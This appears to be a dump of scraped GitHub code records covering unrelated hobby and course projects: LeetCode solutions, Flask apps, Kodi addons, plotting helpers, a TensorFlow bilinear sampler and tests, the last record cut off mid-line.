)\n\n st.markdown('The Boston housing dataset is used as the example.')\n st.write(df.head(5))\n\n build_model(df)\n","repo_name":"akshaynarvate/Sweet-Viz","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6258585464","text":"# Integration Test\n# pip install git+https://github.com/UBC-MDS/Pythia.git\n\n# Import Pythia Package\nimport sys\nimport os\nsys.path.insert(0, os.path.abspath(\".\"))\nsys.path.insert(0, os.path.abspath(\"../\"))\n\nfrom pythia.LinearRegression import LinearRegression\nfrom pythia.eda import eda\n\n# Import random\nimport numpy.random as rand\nimport pandas as pd\n\ndef test_integration():\n\n # Generate small data to test our function\n rand.seed(4)\n X = pd.DataFrame({'X1': rand.normal(size=10),\n 'X2': rand.normal(size=10),\n 'X3': rand.normal(size=10)})\n y = pd.DataFrame({'y':X.X1 + X.X2 + X.X3 + rand.normal(size=10)})\n\n # get EDA summary for the data\n summary = eda(X, y)\n\n # LinearRegression Function is a class.\n # Fit a linear regression on the data\n model = LinearRegression(X, y)\n\n # Plot residuals is dependent on LinearRegression Function.\n plot = model.plot_residuals()\n\n # Expected output\n #assert isinstance(plot, LinearRegression) == True, \"The model doesn't have the right type\"\n assert type(plot) == tuple, \"The class is the wrong type\"\n assert len(plot) == 2, \"There are not enough outputs\"\n assert type(plot[0]) == type(None), \"The output is the wrong type\"\n","repo_name":"UBC-MDS/Pythia","sub_path":"pythia/tests/test_integration.py","file_name":"test_integration.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14185867661","text":"'''\r\nbinary search\r\n如果弄不清楚是需要 +1 还是 -1,是 谁+谁 还是谁-谁,就在草稿纸上用几个例子实验一下。 \r\n4个例子足够说明问题。\r\n\r\n执行用时:48 ms, 在所有 Python3 提交中击败了40.91% 的用户\r\n内存消耗:14.9 MB, 在所有 Python3 提交中击败了86.36% 的用户\r\n通过测试用例:370 / 370\r\n'''\r\nclass Solution:\r\n def maxValue(self, n: int, index: int, maxSum: int) -> int:\r\n\r\n def check(m):\r\n # try to set nums[index] = m\r\n total = 0\r\n # from left to m\r\n left = max(m - index, 1)\r\n total += (left + m) * (m - left + 1) // 2\r\n ## left\r\n total += max(index - m + 1, 0)\r\n # from m-1 to right\r\n right = max(m - (n - index) + 1, 1)\r\n total += (m - 1 + right) * (m - 1 - right + 1) // 2\r\n ## right\r\n total += max(n - index - m, 0)\r\n return total <= maxSum \r\n \r\n l, r = 1, maxSum\r\n while l <= r:\r\n mid = l + (r - l) // 2\r\n if check(mid):\r\n l = mid + 1\r\n else:\r\n r = mid - 1\r\n return l - 1\r\n\r\n\r\n\r\n'''\r\nbinary search\r\n\r\nRuntime: 57 ms, faster than 29.77% of Python3 online submissions for Maximum Value at a Given Index in a Bounded Array.\r\nMemory Usage: 16.3 MB, less than 53.44% of Python3 online submissions for Maximum Value at a Given Index in a Bounded Array.\r\n'''\r\nclass Solution:\r\n def maxValue(self, n: int, index: int, maxSum: int) -> int:\r\n l, r = 1, maxSum\r\n \r\n def check(m):\r\n s = 0\r\n # from 0 to index\r\n if m > index:\r\n # base\r\n b1 = m - index\r\n s += (b1 + m) * (index + 1) // 2\r\n else:\r\n s += 1 + index - m + m * (1 + m) // 2\r\n # from index + 1 to n-1\r\n if m > 1:\r\n m -= 1\r\n if index + 1 <= n - 1:\r\n if m > n - index - 2:\r\n # base\r\n b1 = m - (n - index - 2)\r\n s += (b1 + m) * (n - index - 1) // 2\r\n else:\r\n s += (n - index - 1 - m) + m * (1 + m) // 2\r\n return s <= maxSum\r\n \r\n while l <= r:\r\n mid = (l + r) // 2\r\n if check(mid):\r\n l = mid + 1 \r\n else:\r\n r = mid - 1\r\n return l - 1\r\n","repo_name":"lixiang2017/leetcode","sub_path":"problems/1802.0_Maximum_Value_at_a_Given_Index_in_a_Bounded_Array.py","file_name":"1802.0_Maximum_Value_at_a_Given_Index_in_a_Bounded_Array.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43507685347","text":"\"\"\"\nClass 76: Docs and testing part 1\nClass 77: Docs and testing part 2\nAuthor: Eliana Chavez\n\"\"\"\n\nimport doctest\nimport math\n\n# doctest help us to implement some testing cases within the documentation\n# We use >>> function() to specify the example\ndef add(num1: int, num2: int) -> int:\n \"\"\"\n Add 2 numbers\n\n Params:\n num1: number 1 to add\n num2: number 2 to add\n\n Returns: \n Add result\n\n >>> add(1, 1)\n 2\n\n >>> add(2, 1)\n 3\n\n >>> add(0, 1)\n 1\n\n \"\"\"\n return num1 + num2\n\n\ndef validateEmail(email: str) -> bool:\n \"\"\"\n Validates if an email is correct, it must have one @ \n and a valid termination (allowed: .com, .es, .co, .net)\n\n Params:\n email: emai to validate\n\n Returns:\n True if email is correct\n False if email is not valid\n\n >>> validateEmail(\"test@gmail.com\")\n True\n\n >>> validateEmail(\"testerror\")\n False\n \"\"\"\n\n emailSyntax = False\n emailTermination = False\n count = 0\n\n for i in email:\n\n if i == \"@\" or i == \".\":\n count += 1\n\n if count >= 2:\n emailSyntax = True\n\n for i in (\".com\", \".es\", \".co\", \".net\"):\n if str(email).__contains__(i):\n emailTermination = True\n\n return emailSyntax and emailTermination\n\n\ndef sqr(numbers: list) -> list:\n \"\"\"\n Params:\n numbers: list of numbers\n\n Returns\n List with square root of each number in the list\n\n >>> numbers=[]\n >>> for i in [4, 9, 16]: \n ... numbers.append(i)\n >>> sqr(numbers)\n [2.0, 3.0, 4.0]\n\n\n >>> for i in [4, -9, 16]: \n ... numbers.append(i)\n >>> sqr(numbers)\n Traceback (most recent call last):\n ...\n ValueError: math domain error\n \n \"\"\"\n\n return list(map(math.sqrt, numbers))\n # return [math.sqrt(n) for n in numbers]\n\n\ndef main():\n numbers = [9, 16, 25, 36]\n result = sqr(numbers)\n print(\"Numbers: \", numbers)\n print(\"Result: \", result)\n\n\n# Activate docs tests\ndoctest.testmod()\n\n# If we run the program and nothin appears it means everything is ok all tests have passed\n","repo_name":"elianachv/python","sub_path":"pildoras/22_testing.py","file_name":"22_testing.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40495138200","text":"from org.myrobotlab.service import Servo\n\nPaupiereServo = Runtime.start(\"PaupiereServo\",\"Servo\")\nPaupiereServo.setMinMax(PaupiereMIN , PaupiereMAX)\nPaupiereServo.attach(right, PaupiereServoPin)\n\n\nclock = Runtime.start(\"clock\",\"Clock\")\nclock.setInterval(1000)\n# define a ticktock method\ndef ticktock(timedata):\n\tPaupiereServo.moveTo(PaupiereMIN)\n\tsleep(0.12)\n\tPaupiereServo.moveTo(PaupiereMAX)\n#on fait un double clignement ou pas\n\tif random.randint(0,1)==1:\n\t\tsleep(0.2)\n\t\tPaupiereServo.moveTo(PaupiereMIN)\n\t\tsleep(0.12)\n\t\tPaupiereServo.moveTo(PaupiereMAX)\n#on redefini une valeur aleatoire pour le prochain clignement\n\tclock.setInterval(random.randint(10000,30000))\n#create a message routes\nclock.addListener(\"pulse\", python.name, \"ticktock\")\n# start the clock\nclock.startClock()","repo_name":"sola1993/inmoov","sub_path":"home/moz4r/INMOOV-AI_paupieres_eyeleads.py","file_name":"INMOOV-AI_paupieres_eyeleads.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24872653851","text":"import warnings\n\nwarnings.filterwarnings('always')\nwarnings.filterwarnings('ignore')\n\nimport matplotlib.pyplot as plt, mpld3\nfrom matplotlib.pyplot import axis\nimport seaborn as sb\nimport matplotlib\nmatplotlib.use('Agg')\nfrom wordcloud import WordCloud, STOPWORDS\n\n\ndef plot_category(df):\n fig = plt.figure(figsize=(10, 4))\n output = sb.countplot(x='category', data=df, palette=\"Blues_d\", order=df['category'].value_counts().index)\n output.set_xlabel(\"\", fontsize=12)\n output.set_ylabel(\"Trending Videos Count\", fontsize=12)\n plt.subplots_adjust(wspace=0.9, hspace=0.9, top=0.9)\n return mpld3.fig_to_html(fig)\n\n\ndef plot_title(df):\n fig = plt.figure(figsize=(10, 4))\n output = sb.countplot(x='title_id', data=df, palette=\"Blues_d\", order=df['title_id'].value_counts().index)\n output.set_xlabel(\"\", fontsize=12)\n output.set_ylabel(\"Trending Videos Count\", fontsize=12)\n plt.subplots_adjust(wspace=0.9, hspace=0.9, top=0.9)\n return mpld3.fig_to_html(fig)\n\n\ndef plot_publish_hours(df):\n fig = plt.figure()\n output = sb.distplot(df['publish_hour'], color=\"maroon\")\n output.set_xlabel(\"Publish Hour\", fontsize=12)\n output.set_ylabel(\"Trending Level\", fontsize=12)\n return mpld3.fig_to_html(fig)\n\n\ndef plot_tags(df):\n fig = plt.figure()\n sb.distplot(df['tags_count'], color=\"teal\")\n plt.ylabel(\"Trending Level\")\n return mpld3.fig_to_html(fig)\n\n\ndef plot_tags_word_cloud(df):\n plt.axis('off')\n fig = plt.figure(figsize=(8, 8))\n # fig = plt.subplots(subplot_kw={'xticks': [], 'yticks': [-1]})\n stopwords = set(STOPWORDS)\n wordcloud = WordCloud( background_color= 'black', stopwords = stopwords, max_words = 1000, max_font_size = 120, random_state = 42).generate(str(df['tags']))\n plt.imshow(wordcloud)\n # plt.title('Word Cloud for Tags', fontsize = 20)\n return mpld3.fig_to_html(fig)\n","repo_name":"Nithya72/WhatsTrendingApp","sub_path":"plot/showTrending.py","file_name":"showTrending.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32586328306","text":"from resources.lib import schedule\nimport xbmc\nimport threading\nfrom resources.lib.pubsub import Publisher, Message, Topic\nfrom resources.lib.events import Events\nfrom resources.lib.utils.poutil import KodiPo\nkodipo = KodiPo()\n_ = kodipo.getLocalizedString\n\nclass SchedulePublisher(threading.Thread, Publisher):\n publishes = Events().Schedule.keys()\n\n def __init__(self, dispatcher, settings):\n Publisher.__init__(self, dispatcher)\n threading.Thread.__init__(self, name='SchedulePublisher')\n self.dailyAlarms = settings.getEventsByType('onDailyAlarm')\n self.intervalAlarms = settings.getEventsByType('onIntervalAlarm')\n self.abortEvt = threading.Event()\n self.abortEvt.clear()\n self.sleep = xbmc.sleep\n self.sleepinterval = 1000\n self.schedules = []\n\n def run(self):\n for alarm in self.dailyAlarms:\n hour = str(alarm['hour']).zfill(2)\n minute = str(alarm['minute']).zfill(2)\n stime = ':'.join([hour, minute])\n schedule.every().day.at(stime).do(self.prePublishDailyAlarm, key=alarm['key'])\n for alarm in self.intervalAlarms:\n interval = alarm['hours'] * 3600 + alarm['minutes'] * 60 + alarm['seconds']\n if interval > 0:\n schedule.every(interval).seconds.do(self.prePublishIntervalAlarm, key=alarm['key'])\n else:\n xbmc.log(msg=_('onIntervalAlarm interval cannot be zero'))\n\n while not self.abortEvt.is_set():\n schedule.run_pending()\n self.sleep(self.sleepinterval)\n schedule.clear()\n\n def prePublishDailyAlarm(self, key):\n meseage = Message(Topic('onDailyAlarm', key))\n self.publish(meseage)\n\n def prePublishIntervalAlarm(self, key):\n meseage = Message(Topic('onIntervalAlarm', key))\n self.publish(meseage)\n\n def abort(self, timeout=0):\n self.abortEvt.set()\n if timeout > 0:\n self.join(timeout)\n if self.is_alive():\n xbmc.log(msg=_('Could not stop SchedulePublisher T:%i') % self.ident)\n","repo_name":"KenV99/script.service.kodi.callbacks","sub_path":"resources/lib/publishers/schedule.py","file_name":"schedule.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"75"} +{"seq_id":"72714461041","text":"import requests\nimport os\nimport pandas as pd\n\n\ndef marketSentiment(df):\n api_key = os.getenv(\"NEWS_API_KEY\")\n if not api_key:\n print(\"No API key found for News API. Please set the 'NEWS_API_KEY' environment variable.\")\n return df\n\n endpoint = 'https://newsapi.org/v2/everything'\n params = {\n 'q': 'bitcoin',\n 'sortBy': 'publishedAt',\n 'apiKey': api_key,\n 'pageSize': 100,\n }\n response = requests.get(endpoint, params=params)\n if response.status_code != 200:\n print(\n f\"Failed to retrieve news data. Status code: {response.status_code}\")\n return df\n\n articles = response.json()['articles']\n if not articles:\n print(\"No news articles found.\")\n return df\n\n sentiment_scores = []\n for article in articles:\n text = article['title'] + ' ' + article['description']\n response = requests.post(\n 'http://text-processing.com/api/sentiment/', data={'text': text})\n sentiment = response.json()['label']\n sentiment_scores.append(sentiment)\n\n df['sentiment'] = pd.Series(\n sentiment_scores, index=df.index[:len(sentiment_scores)])\n return df\n","repo_name":"Crypto-Alchemy/machine_learing","sub_path":"learning/marketSentiment.py","file_name":"marketSentiment.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12937965901","text":"# Lesson 5 Task 3: web blog\n# Author: Stanislav Mykhailenko\n# License: Unlicense\n\nfrom flask import Flask, render_template, redirect, request\nfrom datetime import datetime\n\napp = Flask(\"News\")\n\n@app.route('/')\ndef index():\n\twith open(\"articles.txt\", \"r\") as file:\n\t\tdata = file.read()\n\treturn render_template(\"index.html\", contents=data)\n\n@app.route('/editor')\ndef editor():\n\treturn render_template(\"editor.html\")\n\n\n@app.route('/process.html')\ndef process():\n\twith open(\"articles.txt\", \"a\") as file:\n\t\tfile.write(\"

\" + str(request.args.get('title')) + \"

\\n

\" + str(datetime.now()) + \"

\\n

\" + str(request.args.get('text')) + \"


\\n\")\n\treturn redirect('/')\n\napp.run(port=8080)\n","repo_name":"NG-2022-Stanislav-Mykhailenko/NG_2022_Stanislav_Mykhailenko","sub_path":"Lesson_5/Task 3/webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10989585305","text":"'''\nhttp://blog.csdn.net/u010579068/article/details/49207347\n'''\n\nimport numpy as np\ndef solution(l1, l2):\n dp = np.zeros([len(l1),len(l2)])\n for i in range(len(l1)):\n for j in range(len(l2)):\n if l1[i]==l2[j]:\n dp[i][j] = dp[i-1][j-1]+1\n else:\n dp[i][j] = max(dp[i-1][j], dp[i][j-1])\n print(dp)\n return dp[-1][-1]\n \n\n\n\nif __name__==\"__main__\":\n l1 = \"abcfbc\"\n l2 = \"abfcab\"\n print(solution(l1,l2))\n","repo_name":"fndjjx/algorithm","sub_path":"dp/maxcommon.py","file_name":"maxcommon.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73048042803","text":"from flask_app.config.mysqlconnection import connectToMySQL\r\nfrom flask import flash\r\nfrom ..models.user import User\r\n\r\n\r\nclass Tree:\r\n db_name = 'tree'\r\n\r\n def __init__(self,db_data):\r\n self.id = db_data['id']\r\n self.species = db_data['species']\r\n self.location = db_data['location']\r\n self.reason = db_data['reason']\r\n self.date = db_data['date']\r\n self.created_at = db_data['created_at']\r\n self.updated_at = db_data['updated_at']\r\n self.user_id = db_data['user_id']\r\n self.planter = None\r\n self.visitor= []\r\n\r\n @classmethod\r\n def save(cls,data):\r\n query = \"INSERT INTO trees (species, location, reason, date, user_id) VALUES (%(species)s,%(location)s,%(reason)s,%(date)s,%(user_id)s);\"\r\n return connectToMySQL(cls.db_name).query_db(query, data)\r\n\r\n @classmethod\r\n def get_all(cls):\r\n query = \"SELECT * FROM trees;\"\r\n results = connectToMySQL(cls.db_name).query_db(query)\r\n all_trees = []\r\n for row in results:\r\n all_trees.append( cls(row) )\r\n return all_trees\r\n \r\n @classmethod\r\n def get_one(cls,data):\r\n query = \"SELECT * FROM trees WHERE id = %(id)s;\"\r\n results = connectToMySQL(cls.db_name).query_db(query,data)\r\n return cls( results[0] )\r\n\r\n @classmethod\r\n def update(cls, data):\r\n query = \"UPDATE trees SET species=%(species)s, location=%(location)s, reason=%(reason)s, date=%(date)s, updated_at=NOW() WHERE id = %(id)s;\"\r\n return connectToMySQL(cls.db_name).query_db(query,data)\r\n\r\n @classmethod\r\n def destroy(cls,data):\r\n query = \"DELETE FROM trees WHERE id = %(id)s;\"\r\n return connectToMySQL(cls.db_name).query_db(query,data)\r\n\r\n @classmethod\r\n def visitor(cls,data):\r\n query = \"INSERT INTO visitors (user_id, tree_id) values (%(user_id)s, %(tree_id)s);\"\r\n return connectToMySQL(cls.db_name).query_db(query,data)\r\n\r\n#SELECT * FROM trees left join users on users.id = trees.user_id left join visitors on trees.id = visitors.tree_id left join users as visitor on visitors.id = visitors.user_id;\r\n\r\n @classmethod\r\n def user_visitors(cls):\r\n query = \"SELECT * FROM trees left join users on users.id = trees.user_id left join visitors on trees.id = visitors.tree_id left join users as visitor on visitors.id = visitors.user_id;\"\r\n results = connectToMySQL(cls.db_name).query_db(query)\r\n print(results) \r\n all_trees = []\r\n \r\n for row in results:\r\n\r\n new_tree = True\r\n \r\n v_data = {\r\n \"id\":row['visitor.id'],\r\n \"first_name\":row['visitor.first_name'],\r\n \"last_name\":row['visitor.last_name'],\r\n \"email\":row['visitor.email'],\r\n \"password\":row['visitor.password'],\r\n \"created_at\":row['visitor.created_at'],\r\n \"updated_at\":row['visitor.updated_at'] \r\n }\r\n if len(all_trees)>0 and all_trees[len(all_trees)-1].id == row['id']:\r\n all_trees[len(all_trees)-1].visitor.append(User(v_data))\r\n \r\n new_tree = False\r\n if new_tree:\r\n this_tree = cls(row)\r\n\r\n planter_data = {\r\n \"id\":row['users.id'],\r\n \"first_name\":row['first_name'],\r\n \"last_name\":row['last_name'],\r\n \"email\":row['email'],\r\n \"password\":row['password'],\r\n \"created_at\":row['users.created_at'],\r\n \"updated_at\":row['users.updated_at'] \r\n }\r\n this_planter = User(planter_data)\r\n\r\n this_tree.planter = this_planter\r\n\r\n if row['visitor.id'] is not None:\r\n \r\n this_tree.visitors.append(user.User(p_data))\r\n all_trees.append(this_tree)\r\n return all_trees \r\n\r\n\r\n\r\n @staticmethod\r\n def validate_tree(tree):\r\n is_valid = True\r\n if len(tree['species']) < 3:\r\n is_valid = False\r\n flash(\"species must be at least 3 characters\",\"tree\")\r\n if len(tree['location']) < 3:\r\n is_valid = False\r\n flash(\"model must be at least 3 characters\",\"tree\")\r\n if len(tree['reason']) < 3:\r\n is_valid = False\r\n flash(\"make must be at least 3 characters\",\"tree\")\r\n if tree['date'] == \"\":\r\n is_valid = False\r\n flash(\"Please enter a date\",\"tree\")\r\n \r\n return is_valid","repo_name":"LimitlessUR/tree_exam","sub_path":"tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":4587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7586216208","text":"import tensorflow as tf\nimport numpy as np\n\ndef bilinear_sampler(x, v, resize=False, normalize=False, crop=None):\n \"\"\"\n Args:\n x - Input tensor [N, H, W, C]\n v - Vector flow tensor [N, H, W, 2], tf.float32\n\n (optional)\n resize - Whether to resize v as same size as x\n normalize - Whether to normalize v from scale 1 to H (or W).\n h : [-1, 1] -> [-H/2, H/2]\n w : [-1, 1] -> [-W/2, W/2]\n crop - Set the region to sample. 4-d list [h0, h1, w0, w1]\n \"\"\"\n\n def _get_grid_array(N, H, W, h, w):\n N_i = np.arange(N)\n H_i = np.arange(h, h+H)\n W_i = np.arange(w, w+W)\n n, h, w, = np.meshgrid(N_i, H_i, W_i, indexing='ij')\n n = np.expand_dims(n, axis=3)\n h = np.expand_dims(h, axis=3)\n w = np.expand_dims(w, axis=3)\n return np.concatenate([n, h, w], axis=3)\n\n shape = x.get_shape().as_list() # Should it be fixed size ?\n N = shape[0]\n if crop is None: \n H = shape[1]\n W = shape[2]\n h = w = 0\n else :\n H = crop[1] - crop[0]\n W = crop[3] - crop[2]\n h = crop[0]\n w = crop[2]\n\n if resize:\n if callable(resize) :\n v = resize(v, [H, W])\n else :\n v = tf.image.resize_bilinear(v, [H, W])\n\n vy, vx = tf.split(v, 2, axis=3)\n if normalize :\n vy *= (H / 2)\n vx *= (W / 2)\n\n vx0 = tf.floor(vx)\n vy0 = tf.floor(vy)\n vx1 = vx0 + 1\n vy1 = vy0 + 1 # [N, H, W, 1]\n\n v00 = tf.concat([vy0, vx0], 3)\n v01 = tf.concat([vy1, vx0], 3)\n v10 = tf.concat([vy0, vx1], 3)\n v11 = tf.concat([vy1, vx1], 3) # [N, H, W, 2]\n\n padding = [[0, 0], [0, 0], [0, 0], [1, 0]]\n v00 = tf.pad(v00, padding, mode='CONSTANT')\n v01 = tf.pad(v01, padding, mode='CONSTANT')\n v10 = tf.pad(v10, padding, mode='CONSTANT')\n v11 = tf.pad(v11, padding, mode='CONSTANT') # [N, H, W, 3]\n\n idx = _get_grid_array(N, H, W, h, w) # [N, H, W, 3]\n idx00 = tf.cast(v00 + idx, tf.int32)\n idx01 = tf.cast(v01 + idx, tf.int32)\n idx10 = tf.cast(v10 + idx, tf.int32)\n idx11 = tf.cast(v11 + idx, tf.int32)\n\n x00 = tf.gather_nd(x, idx00)\n x01 = tf.gather_nd(x, idx01)\n x10 = tf.gather_nd(x, idx10)\n x11 = tf.gather_nd(x, idx11)\n\n w00 = tf.cast((vx1 - vx) * (vy1 - vy), tf.float32)\n w01 = tf.cast((vx1 - vx) * (vy - vy0), tf.float32)\n w10 = tf.cast((vx - vx0) * (vy1 - vy), tf.float32)\n w11 = tf.cast((vx - vx0) * (vy - vy0), tf.float32)\n output = tf.add_n([w00*x00, w01*x01, w10*x10, w11*x11])\n\n return output\n","repo_name":"zhixinshu/tf-bilinear_sampler","sub_path":"bilinear_sampler.py","file_name":"bilinear_sampler.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"11167345959","text":"import os, sys, re\nimport xbmc, xbmcaddon\n\nimport json as simplejson\n\n__addon__ = xbmcaddon.Addon()\n__addonversion__ = __addon__.getAddonInfo('version')\n__addonid__ = __addon__.getAddonInfo('id')\n__addonname__ = __addon__.getAddonInfo('name')\n__addonPath__ = __addon__.getAddonInfo('path')\n__addonResourcePath__ = xbmc.translatePath(os.path.join(__addonPath__, 'resources', 'lib'))\n__addonIconFile__ = xbmc.translatePath(os.path.join(__addonPath__, 'icon.png'))\nsys.path.append(__addonResourcePath__)\n\nfrom langcodes import *\nfrom prefsettings import settings\n\nsettings = settings()\n\nLOG_NONE = 0\nLOG_ERROR = 1\nLOG_INFO = 2\nLOG_DEBUG = 3\n \ndef log(level, msg):\n if level <= settings.logLevel:\n if level == LOG_ERROR:\n l = xbmc.LOGERROR\n elif level == LOG_INFO:\n l = xbmc.LOGINFO\n elif level == LOG_DEBUG:\n l = xbmc.LOGDEBUG\n xbmc.log(\"[Language Preference Manager]: \" + str(msg), l)\n\n\nclass LangPref_Monitor( xbmc.Monitor ):\n def __init__( self ):\n xbmc.Monitor.__init__( self )\n \n def onSettingsChanged( self ):\n settings.init()\n settings.readSettings()\n\nclass Main:\n def __init__( self ):\n self._init_vars()\n if (not settings.service_enabled):\n log(LOG_INFO, \"Service not enabled\")\n\n settings.readSettings()\n self._daemon()\n\n def _init_vars( self ):\n self.Monitor = LangPref_Monitor()\n self.Player = LangPrefMan_Player()\n\n def _daemon( self ):\n while (not xbmc.abortRequested):\n xbmc.sleep(500)\n \n\nclass LangPrefMan_Player(xbmc.Player) :\n \n def __init__ (self):\n xbmc.Player.__init__(self)\n \n def onPlayBackStarted(self):\n if settings.service_enabled and settings.at_least_one_pref_on and self.isPlayingVideo():\n log(LOG_DEBUG, 'Playback started')\n self.audio_changed = False\n # switching an audio track to early leads to a reopen -> start at the beginning\n if settings.delay > 0:\n log(LOG_DEBUG, \"Delaying preferences evaluation by {0} ms\".format(settings.delay))\n xbmc.sleep(settings.delay)\n log(LOG_DEBUG, 'Getting video properties')\n self.getDetails()\n self.evalPrefs()\n\n def evalPrefs(self):\n # recognized filename audio or filename subtitle\n fa = False\n fs = False\n if settings.useFilename:\n audio, sub = self.evalFilenamePrefs()\n if (audio >= 0) and audio < len(self.audiostreams):\n log(LOG_INFO, 'Filename preference: Match, selecting audio track {0}'.format(audio))\n self.setAudioStream(audio)\n self.audio_changed = True\n fa = True\n else:\n log(LOG_INFO, 'Filename preference: No match found for audio track ({0})'.format(self.getPlayingFile()))\n \n if (sub >= 0) and sub < len(self.subtitles):\n self.setSubtitleStream(sub)\n fs = True\n log(LOG_INFO, 'Filename preference: Match, selecting subtitle track {0}'.format(sub))\n if settings.turn_subs_on:\n log(LOG_DEBUG, 'Subtitle: enabling subs' )\n self.showSubtitles(True)\n else:\n log(LOG_INFO, 'Filename preference: No match found for subtitle track ({0})'.format(self.getPlayingFile()))\n if settings.turn_subs_off:\n log(LOG_INFO, 'Subtitle: disabling subs' )\n self.showSubtitles(False)\n \n if settings.audio_prefs_on and not fa:\n if settings.custom_audio_prefs_on:\n trackIndex = self.evalAudioPrefs(settings.custom_audio)\n else:\n trackIndex = self.evalAudioPrefs(settings.AudioPrefs)\n \n if trackIndex == -2:\n log(LOG_INFO, 'Audio: None of the preferred languages is available' )\n elif trackIndex >= 0:\n self.setAudioStream(trackIndex)\n self.audio_changed = True\n \n if settings.sub_prefs_on and not fs:\n if settings.custom_sub_prefs_on:\n trackIndex = self.evalSubPrefs(settings.custom_subs)\n else:\n trackIndex = self.evalSubPrefs(settings.SubtitlePrefs)\n \n if trackIndex == -2:\n log(LOG_INFO, 'Subtitle: None of the preferred languages is available' )\n if settings.turn_subs_off:\n log(LOG_INFO, 'Subtitle: disabling subs' )\n self.showSubtitles(False)\n elif trackIndex >= 0:\n self.setSubtitleStream(trackIndex)\n if settings.turn_subs_on:\n log(LOG_INFO, 'Subtitle: enabling subs' )\n self.showSubtitles(True)\n \n if settings.condsub_prefs_on and not fs:\n if settings.custom_condsub_prefs_on:\n trackIndex = self.evalCondSubPrefs(settings.custom_condsub)\n else:\n trackIndex = self.evalCondSubPrefs(settings.CondSubtitlePrefs)\n\n if trackIndex == -1:\n log(LOG_INFO, 'Conditional subtitle: disabling subs' )\n self.showSubtitles(False)\n if trackIndex == -2:\n log(LOG_INFO, 'Conditional subtitle: None of the preferrences is available' )\n if settings.turn_subs_off:\n log(LOG_DEBUG, 'Subtitle: disabling subs' )\n self.showSubtitles(False)\n elif trackIndex >= 0:\n self.setSubtitleStream(trackIndex)\n if settings.turn_subs_on:\n log(LOG_DEBUG, 'Subtitle: enabling subs' )\n self.showSubtitles(True)\n\n def evalFilenamePrefs(self):\n log(LOG_DEBUG, 'Evaluating filename preferences' )\n audio = -1\n sub = -1\n filename = self.getPlayingFile()\n matches = settings.reg.findall(filename)\n fileprefs = []\n for m in matches:\n sp = settings.split.split(m)\n fileprefs.append(sp)\n\n for pref in fileprefs:\n if len(pref) == 2:\n if (pref[0].lower() == 'audiostream'):\n audio = int(pref[1])\n log(LOG_INFO, 'audio track extracted from filename: {0}'.format(audio))\n elif(pref[0].lower() == 'subtitle'):\n sub = int(pref[1])\n log(LOG_INFO, 'subtitle track extracted from filename: {0}'.format(sub))\n log(LOG_DEBUG, 'filename: audio: {0}, sub: {1} ({2})'.format(audio, sub, filename))\n return audio, sub\n \n def evalAudioPrefs(self, audio_prefs):\n log(LOG_DEBUG, 'Evaluating audio preferences' )\n i = 0\n for pref in audio_prefs:\n i += 1\n g_t, preferences = pref\n # genre or tags are given (g_t not empty) but none of them matches the video's tags/genres\n if g_t and (not (self.genres_and_tags & g_t)):\n continue\n\n log(LOG_INFO,'Audio: genre/tag preference {0} met with intersection {1}'.format(g_t, (self.genres_and_tags & g_t)))\n for pref in preferences:\n name, codes = pref\n codes = codes.split(r',')\n for code in codes:\n if (code == 'non'):\n log(LOG_DEBUG,'continue')\n continue \n if (self.selected_audio_stream and\n self.selected_audio_stream.has_key('language') and\n (code == self.selected_audio_stream['language'] or name == self.selected_audio_stream['language'])):\n log(LOG_INFO, 'Selected audio language matches preference {0} ({1})'.format(i, name) )\n return -1\n else:\n for stream in self.audiostreams:\n if ((code == stream['language']) or (name == stream['language'])):\n log(LOG_INFO, 'Audio language of stream {0} matches preference {1} ({2})'.format(stream['index'], i, name) )\n return stream['index']\n log(LOG_INFO, 'Audio: preference {0} ({1}:{2}) not available'.format(i, name, code) )\n return -2\n \n def evalSubPrefs(self, sub_prefs):\n log(LOG_DEBUG, 'Evaluating subtitle preferences' )\n i = 0\n for pref in sub_prefs:\n i += 1\n g_t, preferences = pref\n # genre or tags are given (g_t not empty) but none of them matches the video's tags/genres\n if g_t and (not (self.genres_and_tags & g_t)):\n continue\n\n log(LOG_INFO,'Subtitle: genre/tag preference {0} met with intersection {1}'.format(g_t, (self.genres_and_tags & g_t)))\n for pref in preferences:\n name, codes = pref\n codes = codes.split(r',')\n for code in codes:\n if (code == 'non'):\n log(LOG_DEBUG,'continue')\n continue \n if (self.selected_sub and\n self.selected_sub.has_key('language') and\n (code == self.selected_sub['language'] or name == self.selected_sub['language'])):\n log(LOG_INFO, 'Selected subtitle language matches preference {0} ({1})'.format(i, name) )\n return -1\n else:\n for sub in self.subtitles:\n if ((code == sub['language']) or (name == sub['language'])):\n log(LOG_INFO, 'Subtitle language of subtitle {0} matches preference {1} ({2})'.format(sub['index'], i, name) )\n return sub['index']\n log(LOG_INFO, 'Subtitle: preference {0} ({1}:{2}) not available'.format(i, name, code) )\n return -2\n\n def evalCondSubPrefs(self, 